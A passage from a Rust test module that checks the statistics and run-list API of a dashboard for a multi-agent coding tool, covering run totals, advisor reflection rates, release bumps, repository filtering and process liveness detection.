11385            v.body
11386        );
11387    }
11388
11389    #[test]
11390    fn a_question_card_links_a_task_id_to_the_task_page() {
11391        let start = APP_JS
11392            .find("function updateAskCard(")
11393            .expect("updateAskCard exists");
11394        let body = &APP_JS[start..];
11395        let body = &body[..body.find("\n}\n").expect("function end")];
11396        assert!(body.contains("question.run_is_task"));
11397        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11398        assert!(body.contains("`#/runs/${question.run}`"));
11399        assert!(body.contains("\"task\" : \"run\""));
11400    }
11401
11402    #[test]
11403    fn stats_bars_share_one_id_keyed_plan() {
11404        let start = APP_JS
11405            .find("function statsBarRows(")
11406            .expect("statsBarRows exists");
11407        let body = &APP_JS[start..];
11408        let body = &body[..body.find("\n}\n").expect("function end")];
11409        assert!(body.contains("statsBarPlan(rows)"));
11410        assert!(body.contains("statsAgentTone(row.agent)"));
11411        assert!(!body.contains("candTone(i)"));
11412        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11413        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11414            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11415        }
11416    }
11417
11418    #[test]
11419    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11420        let start = APP_JS
11421            .find("function renderStatsReviewerScatter(")
11422            .expect("renderStatsReviewerScatter exists");
11423        let body = &APP_JS[start..];
11424        let body = &body[..body.find("\n}\n").expect("function end")];
11425        assert!(body.contains("statsScatterPlan(reviewers)"));
11426        assert!(body.contains("statsAgentTone(d.agent)"));
11427        assert!(APP_JS.contains("function statsScatterPlan("));
11428        assert!(
11429            APP_JS.contains("d.submitted < STATS_LOW_N")
11430                || APP_JS.contains("r.submitted < STATS_LOW_N")
11431        );
11432        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11433        assert!(APP_CSS.contains(".precision-scatter"));
11434    }
11435
11436    #[test]
11437    fn advisor_reflection_is_drawn_as_stacked_segments() {
11438        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11439        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11440        let html = include_str!("../assets/ui/index.html");
11441        assert!(html.contains("Approximate"));
11442        for label in ["reflected strongly", "faint", "no proposal"] {
11443            assert!(html.contains(label));
11444        }
11445        let css = include_str!("../assets/ui/app.css");
11446        for c in ["refl-strong", "refl-faint", "refl-absent"] {
11447            assert!(css.contains(&format!(".{c} {{")));
11448        }
11449    }
11450
11451    #[test]
11452    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11453        assert!(APP_JS.contains("function statsDailyPlan("));
11454        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11455        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11456    }
11457
11458    #[test]
11459    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11460        let start = APP_JS
11461            .find("function scheduleSearch(")
11462            .expect("scheduleSearch exists");
11463        let body = &APP_JS[start..];
11464        let body = &body[..body.find("\n}\n").expect("function end")];
11465        assert!(body.contains("s.seq += 1"));
11466    }
11467
11468    /// The dashboard reads every run's state itself rather than trusting a
11469    /// separately-maintained count, so an unreadable run must be counted the
11470    /// same way `/api/health` counts it - never silently dropped the way the
11471    /// CLI's own `stats::load_all` drops it.
11472    #[tokio::test]
11473    async fn stats_runs_unreadable_matches_health() {
11474        let f = Fixture::start().await;
11475        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11476        let broken = f.runs().join("20260902-140502-bad");
11477        std::fs::create_dir_all(&broken).expect("run dir");
11478        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11479
11480        let stats = f.get("/api/stats").await;
11481        let health = f.get("/api/health").await;
11482
11483        assert_eq!(stats.status, 200);
11484        assert_eq!(stats.json()["totals"]["runs"], 1);
11485        assert_eq!(stats.json()["runs_unreadable"], 1);
11486        assert_eq!(
11487            stats.json()["runs_unreadable"],
11488            health.json()["runs_unreadable"],
11489            "the dashboard and /api/health must never disagree about how many \
11490             runs could not be read"
11491        );
11492    }
11493
11494    #[tokio::test]
11495    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11496        let f = Fixture::start().await;
11497        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11498        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11499        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11500
11501        let totals = &f.get("/api/stats").await.json()["totals"];
11502        assert_eq!(totals["runs"], 3);
11503        assert_eq!(totals["merged"], 1);
11504        assert_eq!(totals["stalled"], 1);
11505        assert_eq!(totals["in_progress"], 1);
11506        // A stalled run must never read as blocked/merged/ready - it is its
11507        // own bucket, not folded into a "decided" one.
11508        assert_eq!(totals["blocked"], 0);
11509        assert_eq!(totals["ready"], 0);
11510    }
11511
11512    #[tokio::test]
11513    async fn stats_advisors_report_proposals_and_reflection() {
11514        use crate::advise::{Advice, AdvisorRecord, Reflection};
11515        use crate::verdict::Proposal;
11516
11517        let f = Fixture::start().await;
11518        let mut state = RunState::new(
11519            PathBuf::from("/repo/magi"),
11520            "main".to_owned(),
11521            "0123456789abcdef".to_owned(),
11522            "task".to_owned(),
11523            Config::default(),
11524        );
11525        state.id = "20260902-140501-a".to_owned();
11526        state.status = RunStatus::Merged;
11527        state.advice = Some(Advice {
11528            records: vec![
11529                AdvisorRecord {
11530                    seat: "advisor-1".to_owned(),
11531                    agent: "alpha".to_owned(),
11532                    proposal: Some(Proposal {
11533                        approach: "do it".to_owned(),
11534                        key_tradeoff: "speed over memory".to_owned(),
11535                        risks: Vec::new(),
11536                        touches: Vec::new(),
11537                        why_not_naive: "breaks under load".to_owned(),
11538                    }),
11539                    error: None,
11540                    duration_ms: 0,
11541                    reflection: Reflection::Strong,
11542                },
11543                AdvisorRecord {
11544                    seat: "advisor-2".to_owned(),
11545                    agent: "alpha".to_owned(),
11546                    proposal: None,
11547                    error: Some("timed out".to_owned()),
11548                    duration_ms: 0,
11549                    reflection: Reflection::Absent,
11550                },
11551            ],
11552            synthesis: Some("blended brief".to_owned()),
11553        });
11554        let dir = f.runs().join(&state.id);
11555        std::fs::create_dir_all(&dir).expect("run dir");
11556        std::fs::write(
11557            dir.join("run.json"),
11558            serde_json::to_string_pretty(&state).expect("serialize run"),
11559        )
11560        .expect("write run.json");
11561
11562        // `alpha` is in no roster here; this test is about the rates.
11563        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11564        let alpha = advisors
11565            .as_array()
11566            .expect("an array")
11567            .iter()
11568            .find(|a| a["agent"] == "alpha")
11569            .expect("alpha row");
11570        assert_eq!(alpha["seated"], 2);
11571        assert_eq!(alpha["proposed"], 1);
11572        assert_eq!(alpha["absent"], 1);
11573        assert_eq!(alpha["strong"], 1);
11574        assert_eq!(alpha["faint"], 0);
11575        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11576    }
11577
11578    #[tokio::test]
11579    async fn stats_hides_agents_outside_the_roster_unless_all() {
11580        use crate::run::Candidate;
11581        let repo = TempDir::new().expect("repo dir");
11582        std::fs::write(
11583            repo.path().join("magi.toml"),
11584            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11585        )
11586        .expect("magi.toml");
11587        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11588        let mut state = RunState::new(
11589            PathBuf::from("/repo/magi"),
11590            "main".to_owned(),
11591            "0123456789abcdef".to_owned(),
11592            "task".to_owned(),
11593            Config::default(),
11594        );
11595        state.id = "20260902-140501-a".to_owned();
11596        state.status = RunStatus::Merged;
11597        for (label, agent) in [('A', "keep"), ('B', "retired")] {
11598            let mut c: Candidate = serde_json::from_value(serde_json::json!({
11599                "index": 0, "label": label.to_string(), "agent": agent,
11600                "branch": "b", "worktree": "/w",
11601            }))
11602            .expect("candidate");
11603            c.label = label;
11604            state.candidates.push(c);
11605        }
11606        let dir = f.runs().join(&state.id);
11607        std::fs::create_dir_all(&dir).expect("run dir");
11608        std::fs::write(
11609            dir.join("run.json"),
11610            serde_json::to_string_pretty(&state).expect("serialize run"),
11611        )
11612        .expect("write run.json");
11613
11614        let agents_of = |v: &serde_json::Value| -> Vec<String> {
11615            v["agents"]
11616                .as_array()
11617                .expect("array")
11618                .iter()
11619                .map(|a| a["agent"].as_str().unwrap().to_owned())
11620                .collect()
11621        };
11622        let hidden = f.get("/api/stats").await.json();
11623        assert_eq!(agents_of(&hidden), ["keep"]);
11624        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11625        assert_eq!(hidden["totals"]["runs"], 1);
11626
11627        let all = f.get("/api/stats?all=true").await.json();
11628        assert_eq!(agents_of(&all).len(), 2);
11629        assert_eq!(all["retired_hidden"], serde_json::json!([]));
11630    }
11631
11632    #[tokio::test]
11633    async fn stats_release_bumps_split_clean_from_attention() {
11634        use crate::run::ReleaseBump;
11635
11636        let f = Fixture::start().await;
11637
11638        let mut clean = RunState::new(
11639            PathBuf::from("/repo/magi"),
11640            "main".to_owned(),
11641            "0123456789abcdef".to_owned(),
11642            "task".to_owned(),
11643            Config::default(),
11644        );
11645        clean.id = "20260902-140501-a".to_owned();
11646        clean.status = RunStatus::Merged;
11647        clean.release_bump = Some(ReleaseBump {
11648            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11649            version: Some("1.0.0".to_owned()),
11650            automerge_enabled: true,
11651            merged_directly: false,
11652            local: false,
11653            release: None,
11654            problem: None,
11655            action_required: None,
11656        });
11657
11658        let mut blocked = RunState::new(
11659            PathBuf::from("/repo/magi"),
11660            "main".to_owned(),
11661            "0123456789abcdef".to_owned(),
11662            "task".to_owned(),
11663            Config::default(),
11664        );
11665        blocked.id = "20260902-140502-b".to_owned();
11666        blocked.status = RunStatus::Merged;
11667        blocked.release_bump = Some(ReleaseBump {
11668            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11669            version: Some("1.0.1".to_owned()),
11670            automerge_enabled: false,
11671            merged_directly: false,
11672            local: false,
11673            release: None,
11674            problem: Some("checks red".to_owned()),
11675            action_required: Some("look at the PR".to_owned()),
11676        });
11677
11678        for state in [&clean, &blocked] {
11679            let dir = f.runs().join(&state.id);
11680            std::fs::create_dir_all(&dir).expect("run dir");
11681            std::fs::write(
11682                dir.join("run.json"),
11683                serde_json::to_string_pretty(state).expect("serialize run"),
11684            )
11685            .expect("write run.json");
11686        }
11687
11688        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11689        assert_eq!(bumps["merged"], 2);
11690        assert_eq!(bumps["recorded"], 2);
11691        assert_eq!(bumps["pr_opened"], 2);
11692        assert_eq!(bumps["automerge_enabled"], 1);
11693        assert_eq!(bumps["needs_attention"], 1);
11694        assert_eq!(bumps["clean"], 1);
11695        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11696        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11697    }
11698
11699    #[tokio::test]
11700    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11701        let f = Fixture::start().await;
11702        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11703
11704        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11705        assert_eq!(bumps["merged"], 1);
11706        assert_eq!(bumps["recorded"], 0);
11707        // `merged` is nonzero, so coverage still reads as a real 0%, not an
11708        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
11709        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11710        // `pr_opened` and `recorded` are both zero here, so these rates have
11711        // no denominator to compute from and must be null.
11712        assert_eq!(bumps["automerge_rate"], Value::Null);
11713        assert_eq!(bumps["attention_rate"], Value::Null);
11714    }
11715
11716    #[tokio::test]
11717    async fn stats_queue_counts_come_from_the_live_queue() {
11718        let f = Fixture::start().await;
11719        let q = f.queue();
11720        let mut queued = Task::new(
11721            "queued task".to_owned(),
11722            "do it".to_owned(),
11723            PathBuf::from("/repo"),
11724            Source::Human,
11725        );
11726        q.put(&mut queued).expect("put queued");
11727        let mut held = Task::new(
11728            "held task".to_owned(),
11729            "do it later".to_owned(),
11730            PathBuf::from("/repo"),
11731            Source::Human,
11732        );
11733        held.hold_machine(Some("out of attempts".to_owned()));
11734        q.put(&mut held).expect("put held");
11735
11736        let queue = f.get("/api/stats").await.json()["queue"].clone();
11737        assert_eq!(queue["queued"], 1);
11738        assert_eq!(queue["held"], 1);
11739        assert_eq!(queue["running"], 0);
11740        assert_eq!(queue["done"], 0);
11741        assert_eq!(queue["failed"], 0);
11742        assert_eq!(queue["blocked"], 0);
11743    }
11744
11745    #[tokio::test]
11746    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11747        let f = Fixture::start().await;
11748        let stats = f.get("/api/stats").await;
11749        assert_eq!(stats.status, 200);
11750        assert_eq!(stats.json()["totals"]["runs"], 0);
11751        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11752        assert_eq!(stats.json()["runs_unreadable"], 0);
11753        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11754        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11755        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11756        assert_eq!(stats.json()["repo"], Value::Null);
11757    }
11758
11759    #[tokio::test]
11760    async fn stats_lists_every_repository_with_runs_recorded() {
11761        let f = Fixture::start().await;
11762        write_run_repo(
11763            &f.runs(),
11764            "20260902-140501-a",
11765            RunStatus::Merged,
11766            "/repos/a",
11767        );
11768        write_run_repo(
11769            &f.runs(),
11770            "20260902-140502-b",
11771            RunStatus::Merged,
11772            "/repos/a",
11773        );
11774        write_run_repo(
11775            &f.runs(),
11776            "20260902-140503-c",
11777            RunStatus::Blocked,
11778            "/repos/b",
11779        );
11780
11781        let stats = f.get("/api/stats").await;
11782        assert_eq!(stats.status, 200);
11783        // Unfiltered - the aggregate across both repositories.
11784        assert_eq!(stats.json()["totals"]["runs"], 3);
11785        assert_eq!(stats.json()["repo"], Value::Null);
11786
11787        let repos = stats.json()["repos"].clone();
11788        let repos = repos.as_array().unwrap();
11789        assert_eq!(repos.len(), 2);
11790        // Busiest (2 runs) first.
11791        assert_eq!(repos[0]["repo"], "/repos/a");
11792        assert_eq!(repos[0]["name"], "a");
11793        assert_eq!(repos[0]["runs"], 2);
11794        assert_eq!(repos[1]["repo"], "/repos/b");
11795        assert_eq!(repos[1]["runs"], 1);
11796    }
11797
11798    #[tokio::test]
11799    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11800        let f = Fixture::start().await;
11801        write_run_repo(
11802            &f.runs(),
11803            "20260902-140501-a",
11804            RunStatus::Merged,
11805            "/repos/a",
11806        );
11807        write_run_repo(
11808            &f.runs(),
11809            "20260902-140502-b",
11810            RunStatus::Blocked,
11811            "/repos/b",
11812        );
11813
11814        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11815        assert_eq!(stats.status, 200);
11816        assert_eq!(stats.json()["totals"]["runs"], 1);
11817        assert_eq!(stats.json()["totals"]["merged"], 1);
11818        assert_eq!(stats.json()["repo"], "/repos/a");
11819        // The repository list itself is unaffected by the filter - it is
11820        // what a client switches repositories from.
11821        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11822        // runs_unreadable is a whole-workload count, never scoped to the
11823        // selected repository - see StatsView::runs_unreadable's own doc.
11824        assert_eq!(stats.json()["runs_unreadable"], 0);
11825    }
11826
11827    #[tokio::test]
11828    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11829        let f = Fixture::start().await;
11830        write_run_repo(
11831            &f.runs(),
11832            "20260902-140501-a",
11833            RunStatus::Merged,
11834            "/repos/a",
11835        );
11836        write_run_repo(
11837            &f.runs(),
11838            "20260902-140502-b",
11839            RunStatus::Merged,
11840            "/repos/b",
11841        );
11842
11843        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11844            let json = f.get(uri).await.json();
11845            let daily = json["daily"].as_array().expect("daily is an array");
11846            assert_eq!(daily.len(), 30);
11847            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11848            let mut sorted = dates.clone();
11849            sorted.sort();
11850            assert_eq!(dates, sorted);
11851            for d in daily {
11852                assert_eq!(
11853                    d["merged"].as_u64().unwrap()
11854                        + d["ready"].as_u64().unwrap()
11855                        + d["other"].as_u64().unwrap(),
11856                    d["runs"].as_u64().unwrap()
11857                );
11858            }
11859            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11860        }
11861    }
11862
11863    #[tokio::test]
11864    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11865        let f = Fixture::start().await;
11866        write_run_repo(
11867            &f.runs(),
11868            "20260902-140501-a",
11869            RunStatus::Merged,
11870            "/repos/a",
11871        );
11872
11873        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11874        assert_eq!(stats.status, 404);
11875    }
11876
11877    #[tokio::test]
11878    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11879        let f = Fixture::start().await;
11880        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11881
11882        let summary = f.get("/api/runs").await.json();
11883        let row = &summary[0];
11884        assert_eq!(row["short"], "a1b2");
11885        assert_eq!(row["status"], "ready");
11886        assert_eq!(row["done"], true);
11887        assert_eq!(row["title"], "Add a web UI");
11888        assert_eq!(row["repo_name"], "magi");
11889        assert_eq!(row["judges"], 3);
11890        assert_eq!(row["winner"], Value::Null);
11891        assert_eq!(row["reviews"], 0);
11892
11893        // The short id resolves, and the detail route is the state itself, not
11894        // a projection of it: the UI reads fields the summary does not carry.
11895        let detail = f.get("/api/runs/a1b2").await;
11896        assert_eq!(detail.status, 200);
11897        assert_eq!(detail.json()["base_branch"], "main");
11898        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11899    }
11900
11901    /// `status: "ready"` alone cannot tell a run still headed for a landing
11902    /// (a PR closed without merging, say) apart from one `[merge] mode =
11903    /// "none"` left unmerged for good — the confusion the operator flagged
11904    /// after the CLI report already grew a `not landed — nothing to do by
11905    /// design` line for exactly this case (`report.rs`). Both the list route
11906    /// and the detail route must carry a flag the phone can key on instead of
11907    /// re-deriving it from `status` + `merge.mode` itself.
11908    #[tokio::test]
11909    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11910        let f = Fixture::start().await;
11911
11912        let mut none_run = RunState::new(
11913            PathBuf::from("/repo/magi"),
11914            "main".to_owned(),
11915            "0123456789abcdef".to_owned(),
11916            "Add a web UI".to_owned(),
11917            Config::default(),
11918        );
11919        none_run.id = "20260902-140503-none".to_owned();
11920        none_run.status = RunStatus::Ready;
11921        none_run.merge = Some(crate::run::MergeOutcome {
11922            mode: crate::config::MergeMode::None,
11923            ok: true,
11924            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11925            empty: false,
11926        });
11927        write_state(&f.runs(), &none_run);
11928
11929        let mut pr_run = RunState::new(
11930            PathBuf::from("/repo/magi"),
11931            "main".to_owned(),
11932            "0123456789abcdef".to_owned(),
11933            "Add a web UI".to_owned(),
11934            Config::default(),
11935        );
11936        pr_run.id = "20260902-140504-prcl".to_owned();
11937        pr_run.status = RunStatus::Ready;
11938        pr_run.merge = Some(crate::run::MergeOutcome {
11939            mode: crate::config::MergeMode::Pr,
11940            ok: false,
11941            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11942            empty: false,
11943        });
11944        write_state(&f.runs(), &pr_run);
11945
11946        let summary = f.get("/api/runs").await.json();
11947        let rows: std::collections::HashMap<&str, &Value> = summary
11948            .as_array()
11949            .expect("an array")
11950            .iter()
11951            .map(|r| (r["id"].as_str().expect("an id"), r))
11952            .collect();
11953        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11954        assert_eq!(
11955            rows[none_run.id.as_str()]["unmerged_by_design"],
11956            true,
11957            "a mode-none Ready must be flagged in the list"
11958        );
11959        assert_eq!(
11960            rows[pr_run.id.as_str()]["unmerged_by_design"],
11961            false,
11962            "a Ready reached by a closed pull request is a different case"
11963        );
11964
11965        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11966        assert_eq!(none_detail["status"], "ready");
11967        assert_eq!(none_detail["unmerged_by_design"], true);
11968
11969        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11970        assert_eq!(pr_detail["unmerged_by_design"], false);
11971    }
11972
11973    /// `RunState::active` is only ever cleared by whoever populated it, so the
11974    /// detail route also has to say whether a daemon is actually still
11975    /// driving this run right now — otherwise a seat from a killed process's
11976    /// last wave would read as live forever.
11977    #[tokio::test]
11978    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11979        let f = Fixture::start().await;
11980        // Matches `write_daemon`'s hard-coded `current.run`, so the second
11981        // half of this test can claim the daemon is working on it without a
11982        // second helper.
11983        let id = "20260902-140502-bbbb";
11984        let mut state = RunState::new(
11985            PathBuf::from("/repo/magi"),
11986            "main".to_owned(),
11987            "0123456789abcdef".to_owned(),
11988            "Add a web UI".to_owned(),
11989            Config::default(),
11990        );
11991        state.id = id.to_owned();
11992        state.status = RunStatus::Judging;
11993        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11994        let dir = f.runs().join(id);
11995        std::fs::create_dir_all(&dir).expect("run dir");
11996        std::fs::write(
11997            dir.join("run.json"),
11998            serde_json::to_string_pretty(&state).expect("serialize run"),
11999        )
12000        .expect("write run.json");
12001
12002        // No daemon.json at all, and no `driver_pid` recorded either (this
12003        // state was written directly, never through `execute()`): there is
12004        // nothing to confirm either way, so the route must say `"unknown"` —
12005        // never `"dead"`, which is exactly the false diagnosis a manual `magi
12006        // run` used to get from this route before `driver_pid` existed.
12007        let cold = f.get(&format!("/api/runs/{id}")).await.json();
12008        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12009        assert_eq!(cold["live"], "unknown", "{cold}");
12010
12011        // A fresh heartbeat naming exactly this run: the same entry now reads
12012        // as confirmed, not merely recorded.
12013        write_daemon(f.home.path(), Timestamp::now());
12014        let warm = f.get(&format!("/api/runs/{id}")).await.json();
12015        assert_eq!(warm["live"], "live", "{warm}");
12016    }
12017
12018    /// Where a run came from is shown, and a run written before origins were
12019    /// recorded (schema 12, no `origin` key) stays readable and says so.
12020    #[tokio::test]
12021    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12022        let f = Fixture::start().await;
12023        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12024            let mut state = RunState::new(
12025                PathBuf::from("/repo/magi"),
12026                "main".to_owned(),
12027                "0123456789abcdef".to_owned(),
12028                "Add a web UI".to_owned(),
12029                Config::default(),
12030            );
12031            state.id = id.to_owned();
12032            state.origin = origin;
12033            let mut value = serde_json::to_value(&state).expect("serialize run");
12034            if let Some(schema) = schema {
12035                value["schema"] = serde_json::json!(schema);
12036                value.as_object_mut().unwrap().remove("origin");
12037            }
12038            let dir = f.runs().join(id);
12039            std::fs::create_dir_all(&dir).expect("run dir");
12040            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12041        };
12042        write(
12043            "20260930-092817-ec34",
12044            Some(crate::run::Origin::from_agent_env(
12045                Some(("4a7b".to_owned(), "chat".to_owned())),
12046                None,
12047            )),
12048            None,
12049        );
12050        write("20260930-092817-0ld1", None, Some(12));
12051
12052        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12053        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12054        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12055
12056        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12057        assert_eq!(
12058            old["origin_label"], "origin unknown (started before origins were recorded)",
12059            "{old}"
12060        );
12061        assert!(old["origin"].is_null(), "{old}");
12062
12063        let list = f.get("/api/runs").await.json();
12064        let labels: Vec<_> = list
12065            .as_array()
12066            .unwrap()
12067            .iter()
12068            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12069            .collect();
12070        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12071    }
12072
12073    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
12074    /// review` claims no daemon at all, so before this field existed the
12075    /// route above read it as `"dead"` — indistinguishable from a run a
12076    /// killed process abandoned — the whole time it was genuinely still
12077    /// answering. With a live pid recorded, it must read `"live"` even
12078    /// though no daemon claims it.
12079    #[tokio::test]
12080    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12081        let f = Fixture::start().await;
12082        let id = "20260922-090000-cccc";
12083        let mut state = RunState::new(
12084            PathBuf::from("/repo/magi"),
12085            "main".to_owned(),
12086            "0123456789abcdef".to_owned(),
12087            "Review only".to_owned(),
12088            Config::default(),
12089        );
12090        state.id = id.to_owned();
12091        state.status = RunStatus::Reviewing;
12092        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12093        // This test process's own pid: guaranteed alive, and never needs a
12094        // real daemon or a second process to prove it. The matching start-time
12095        // marker is what `liveness` now requires alongside a live pid — see
12096        // `RunState::driver_started_at`'s own doc for why the pid alone is
12097        // not enough.
12098        state.driver_pid = Some(std::process::id());
12099        state.driver_started_at = Some(
12100            crate::proc::process_started_at(std::process::id())
12101                .expect("this test process's own start time must be queryable"),
12102        );
12103        let dir = f.runs().join(id);
12104        std::fs::create_dir_all(&dir).expect("run dir");
12105        std::fs::write(
12106            dir.join("run.json"),
12107            serde_json::to_string_pretty(&state).expect("serialize run"),
12108        )
12109        .expect("write run.json");
12110
12111        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12112        assert_eq!(detail["live"], "live", "{detail}");
12113    }
12114
12115    /// A killed manual run's pid can be handed to a wholly unrelated later
12116    /// process — a live query on `driver_pid` alone would read this as
12117    /// `"live"`, exactly the false positive `driver_started_at` exists to
12118    /// catch (see that field's own doc, and `RunState::liveness_with`'s
12119    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
12120    #[tokio::test]
12121    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12122        let f = Fixture::start().await;
12123        let id = "20260922-090100-dddd";
12124        let mut state = RunState::new(
12125            PathBuf::from("/repo/magi"),
12126            "main".to_owned(),
12127            "0123456789abcdef".to_owned(),
12128            "Review only".to_owned(),
12129            Config::default(),
12130        );
12131        state.id = id.to_owned();
12132        state.status = RunStatus::Reviewing;
12133        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12134        // This test process's own pid really is alive, but the marker
12135        // recorded here does not match what it actually started at —
12136        // standing in for the pid having since been reused by a different
12137        // process than the one that wrote `run.json`.
12138        state.driver_pid = Some(std::process::id());
12139        state.driver_started_at = Some("1".to_owned());
12140        let dir = f.runs().join(id);
12141        std::fs::create_dir_all(&dir).expect("run dir");
12142        std::fs::write(
12143            dir.join("run.json"),
12144            serde_json::to_string_pretty(&state).expect("serialize run"),
12145        )
12146        .expect("write run.json");
12147
12148        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12149        assert_eq!(detail["live"], "dead", "{detail}");
12150    }
12151
12152    /// The deck's competition list is normally the first place an operator
12153    /// sees an old run. It must carry the same process verdict as detail, or
12154    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
12155    #[test]
12156    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12157        let mk = |id: &str, pid: Option<u32>| {
12158            let mut s = RunState::new(
12159                PathBuf::from("/repo/magi"),
12160                "main".to_owned(),
12161                "0123456789abcdef".to_owned(),
12162                "Add a web UI".to_owned(),
12163                Config::default(),
12164            );
12165            s.id = id.to_owned();
12166            s.driver_pid = pid;
12167            s.driver_started_at = Some("1790000000".to_owned());
12168            s
12169        };
12170        let states = vec![
12171            mk("20260902-140502-aaaa", Some(77)),
12172            mk("20260902-140502-bbbb", Some(77)),
12173            mk("20260902-140502-cccc", Some(77)),
12174            mk("20260902-140502-dddd", None),
12175        ];
12176        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12177        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12178        let sup: HashMap<String, String> = [(
12179            "20260902-140502-aaaa".to_owned(),
12180            "20260902-140502-cccc".to_owned(),
12181        )]
12182        .into();
12183
12184        let status_calls = std::cell::Cell::new(0);
12185        let identity_calls = std::cell::Cell::new(0);
12186        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12187            |_| {
12188                status_calls.set(status_calls.get() + 1);
12189                Some(true)
12190            },
12191            |_| {
12192                identity_calls.set(identity_calls.get() + 1);
12193                Some("1790000000".to_owned())
12194            },
12195        ));
12196        let rows = summarize(
12197            states,
12198            &open,
12199            &claimed,
12200            &sup,
12201            |p| probe.borrow_mut().status(p),
12202            |p| probe.borrow_mut().started_at(p),
12203        );
12204
12205        assert_eq!(status_calls.get(), 1, "one pid, one status query");
12206        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12207        assert_eq!(rows.len(), 4);
12208        assert!(!rows[0].waiting && rows[1].waiting);
12209        assert_eq!(rows[0].live, crate::run::Liveness::Live);
12210        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12211        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12212        assert_eq!(rows[1].superseded_by, None);
12213    }
12214
12215    #[test]
12216    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12217        let mut state = RunState::new(
12218            PathBuf::from("/repo/magi"),
12219            "main".to_owned(),
12220            "0123456789abcdef".to_owned(),
12221            "Review only".to_owned(),
12222            Config::default(),
12223        );
12224        state.id = "20260922-090200-dead".to_owned();
12225        state.status = RunStatus::Reviewing;
